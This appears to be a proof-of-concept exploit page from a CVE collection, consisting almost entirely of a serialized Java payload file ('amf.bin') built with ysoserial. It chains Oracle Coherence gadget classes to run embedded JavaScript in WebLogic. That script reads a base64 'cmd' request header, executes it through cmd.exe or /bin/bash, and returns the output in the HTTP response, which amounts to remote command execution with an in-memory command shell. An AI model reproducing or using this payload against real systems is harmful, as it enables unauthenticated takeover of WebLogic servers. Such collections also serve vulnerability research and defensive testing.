4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / amf.bin BIN

]com.tangosol.coherence.servlet.AttributeHolderconkatzzzzzz��sr.javax.management.BadAttributeValueExpException��ګc-F@LvaltLjava/lang/Object;xrjava.lang.Exception�>;�xrjava.lang.Throwable��5'9w��LcausetLjava/lang/Throwable;L
detailMessagetLjava/lang/String;[
stackTracet[Ljava/lang/StackTraceElement;LsuppressedExceptionstLjava/util/List;xpq~pur[Ljava.lang.StackTraceElement;F*<<�"9xpsrjava.lang.StackTraceElementa	Ś&6݅I
lineNumberLdeclaringClassq~LfileNameq~L
methodNameq~xp�tysoserial.payloads.AMFtAMF.javat	getObjectsq~Dq~
q~tmainsr&java.util.Collections$UnmodifiableList�%1��Llistq~xr,java.util.Collections$UnmodifiableCollectionB��^�LctLjava/util/Collection;xpsrjava.util.ArrayListx����a�Isizexpwxq~xsr$com.tangosol.util.filter.LimitFilter�)�v��qIm_cPageSizeIm_nPageLm_comparatortLjava/util/Comparator;Lm_filtertLcom/tangosol/util/Filter;Lm_oAnchorBottomq~Lm_oAnchorTopq~xr4com.tangosol.util.filter.AbstractQueryRecorderFilter����xpsr,com.tangosol.util.extractor.ChainedExtractor�C:LĴxr6com.tangosol.util.extractor.AbstractCompositeExtractork=�iD[m_aExtractort#[Lcom/tangosol/util/ValueExtractor;xr-com.tangosol.util.extractor.AbstractExtractoru"��MF8I	m_nTargetxpur2[Lcom.tangosol.util.extractor.ReflectionExtractor;݋���s�xpsr/com.tangosol.util.extractor.ReflectionExtractor��7��d)�[	m_aoParamt[Ljava/lang/Object;Lm_extractorCachedq~L	m_sMethodq~xq~ ur[Ljava.lang.Object;��X�s)lxpur[Ljava.lang.Class;�׮��Z�xpptgetConstructorsq~$uq~'uq~'ptnewInstancesq~$uq~'t
JavaScriptptgetEngineByNamesq~$uq~'t�var m = java.lang.Class.forName('weblogic.work.ExecuteThread').getDeclaredMethod('getCurrentWork');
var theared = java.lang.Thread.currentThread();
var work = m.invoke(theared);
var connect = work.getClass().getDeclaredField('connectionHandler');
connect.setAccessible(true);
var conHandler = connect.get(work);
var re = conHandler.getClass().getDeclaredField('request');
re.setAccessible(true);
var request = re.get(conHandler);
var cmd = new java.lang.String(java.util.Base64.getDecoder().decode(request.getHeader('cmd')));
var res = request.getResponse();
var isW = java.lang.System.getProperty('os.name').toLowerCase().contains('win');
var listCmd = new java.util.ArrayList();
var p = new java.lang.ProcessBuilder('');
if(isW){p.command('cmd.exe','/c',cmd);
}else{p.command('/bin/bash','-c',cmd);
}p.redirectErrorStream(true);
var process = p.start();
var output = process.getInputStream();
var scanner = new java.util.Scanner(output,'UTF-8');
var out = '';
while(scanner.hasNext()){out += scanner.nextLine()+'\n'};
var outputStream = res.getServletOutputStream();
outputStream.write(out.getBytes());
outputStream.flush();
res.getWriter().write('');
theared.interrput();ptevalsq~$uq~'pttoStringppvr javax.script.ScriptEngineManagerxp